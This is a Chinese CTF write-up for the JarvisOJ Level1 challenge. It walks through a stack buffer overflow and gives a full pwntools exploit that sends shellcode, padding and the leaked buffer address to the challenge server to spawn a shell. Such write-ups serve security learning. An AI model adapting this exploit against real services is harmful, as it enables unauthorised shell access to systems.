PWN_JarvisOJ_Level1

首先nc一下

之后我们来看ida反编译

在“Hello,World!\n”之前有一个vulnerable_function,进去之后查看一下这个函数

可以看出来刚刚出现的奇怪的地址是buf的首地址(%p是返回参数地址的),那么我们就要查看一下buf。

从中能看出buf有0x88的字节,并且返回指令在+0004的位置,所以需要填充0x88+4的字节

这个题目中没有system函数,所以需要自己写shellcode,首先把代码提供出来


from pwn import *

p=remote('pwn2.jarvisoj.com',9877)
context(arch='i386',os='linux',log_level='debug')
shellcode=''
shellcode+=asm(shellcraft.sh())

add_str=p.recvline()[14:22]
add_str=int(add_str,16)

pwn_str=shellcode+(0x88+4-len(shellcode))*'A'+p32(add_str)

p.send(pwn_str)
p.interactive()

首先,pwntools的基本用法在这里就不多加赘述了。

我们首先看p.recvline()[14:22]这个部分。

其他人可能见过会有人写recvline[14:-2]的这个样式,这个是一样的效果,[]是Python的索引,其中:前面的部分是开始获取的位置,后面的部分是之后获取的位置。既然说了是索引了那么其他的大家就好好看看python的语法吧,我也是好顿翻了一遍才知道的。

int(add_str,16)是为了调成16进制。之后只要乖乖写payload就好了。

便能够取得flag了!!!!

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值